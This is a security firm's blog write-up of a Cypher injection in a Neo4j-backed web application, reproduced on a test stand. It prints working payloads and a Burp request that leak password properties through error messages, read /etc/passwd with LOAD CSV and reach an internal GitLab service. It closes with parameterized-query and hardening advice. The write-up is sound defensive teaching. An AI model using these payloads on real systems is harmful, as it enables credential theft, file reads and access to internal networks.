Skip to main content
  1. Blog/

Cypher injection into Neo4j exposes passwords

·3 mins·

Cypher injection to attack the Neo4j database works for the same reasons as SQL injection: an application inserts user input directly into a database query. An attacker can modify not only the search value but also the logic of the query itself.

During one of our security assessment projects, we encountered a web application that used a Neo4j database. It stored user data, including authentication data. We discovered that the application builds Cypher queries by directly concatenating user input, which created an injection risk.

To avoid revealing customer details and safely reproduce the found attacks, we set up a local test stand with the same vulnerability. All subsequent requests and results are shown on it, and the used data and internal services are test ones.

The essence of the problem:

Vulnerable code may look like this:

query = f'MATCH (u:Users) WHERE u.login = "{user_input}" RETURN u'

Here, the entered login becomes part of the query text and can change its contents. The correct approach is to leave Cypher unchanged and pass the value to the driver separately:

query = "MATCH (u:Users) WHERE u.login = $user_input RETURN u"

with driver.session() as session:
    result = session.run(query, user_input=user_input)

In this case, $user_input is a query parameter: the driver passes its value separately from the query text. Neo4j first compiles the query and then substitutes the parameter value, so the contents of user_input are interpreted as data, not as part of the Cypher syntax.

In practice:

On the project, the following chain worked, which we repeated on the test stand. First, we forced Neo4j to include object properties in the error message. The request from Burp looked like this:

GET /api/user?login="+OR+1%3D1+RETURN+toString(CASE+WHEN+1%3D1+THEN+properties(u)+ELSE+0+END)+// HTTP/1.1
Host: localhost:5001

The value of login after decoding:

" OR 1=1 RETURN toString(CASE WHEN 1=1 THEN properties(u) ELSE 0 END) //

The quote closes the original string, OR makes the condition true, and // comments out the rest of the query.

Neo4j tried to convert the object properties to a string and returned a type error. The application displayed the error in full, so the user properties, including the password in the form of ByteArray[...], appeared in the response.

Neo.ClientError.Statement.TypeError:
Map{login -> "admin", password -> ByteArray[...]}

After that, we checked the graph labels, a local file, and the internal service, injecting malicious Cypher fragments into the login parameter through the Inspector function in the Burp Repeater module:

" OR 1=1 WITH u LIMIT 1 CALL db.labels() YIELD label RETURN label //

" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "file:///etc/passwd" AS line RETURN line //

" OR 1=1 WITH u LIMIT 1 LOAD CSV FROM "http://gitlab-internal" AS line RETURN line //

The first query returned the Users label. Using LOAD CSV, we were able to read a line from /etc/passwd and retrieve a page from the internal GitLab:

label = "Users"
root:x:0:0:root:/root:/bin/bash
<title>GitLab</title>

Reading files and making HTTP requests through LOAD CSV depend on the Neo4j version, settings, process permissions, and network restrictions. On a different configuration, these requests may not work.

Result:

Exploiting this injection allowed us to obtain more than just access to graph data. First, the detailed Neo4j error message revealed the user properties, including the password field. On the test stand, we were able to get the Users label, read lines from a file inside the Neo4j container, and access a test internal HTTP service. Thus, the vulnerability in Cypher query construction opened up several attack vectors: extracting node and relationship data, reading local server files, and accessing internal services reachable from Neo4j.

To protect against such an attack, we recommend:

  • use parameterized queries,
  • not return error content to the client,
  • grant the application minimal privileges,
  • restrict LOAD CSV and outbound traffic.

Related